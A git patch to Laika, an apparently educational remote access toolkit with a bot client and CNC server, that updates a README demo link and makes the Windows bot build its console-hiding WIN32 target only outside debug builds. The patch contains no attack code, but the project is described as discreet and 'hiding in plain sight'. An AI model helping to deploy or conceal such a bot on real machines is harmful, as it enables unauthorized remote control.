From a410a9ac15149337d23fd418abdff30286ff3651 Mon Sep 17 00:00:00 2001 From: CPunch Date: Sat, 4 Jun 2022 10:26:25 -0500 Subject: [PATCH] Updated Asciinema & fixed windows debug builds --- README.md | 2 +- bot/CMakeLists.txt | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 84dfb76..c4e8c61 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ License

-[![asciicast](https://asciinema.org/a/492854.svg)](https://asciinema.org/a/492854) +[![asciicast](https://asciinema.org/a/499508.svg)](https://asciinema.org/a/499508) Laika is a simple cross-platform Remote Access Toolkit stack for educational purposes. It allows encrypted communication across a custom binary protocol. The bot client supports both Windows & Linux environments, while the shell & CNC server specifically target Linux environments. Laika is meant to be small and discreet, Laika believes in hiding in plain sight. diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt index 359e817..aefb277 100644 --- a/bot/CMakeLists.txt +++ b/bot/CMakeLists.txt @@ -14,7 +14,9 @@ file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) # include platform specific backends if(WIN32) file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c) - set(BOTFLAGS WIN32) + if (NOT RAWCMAKEBUILDTYPE STREQUAL "debug") + set(BOTFLAGS WIN32) + endif () elseif(UNIX AND NOT APPLE) file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c) set(BOTPLATFORMLIBS util)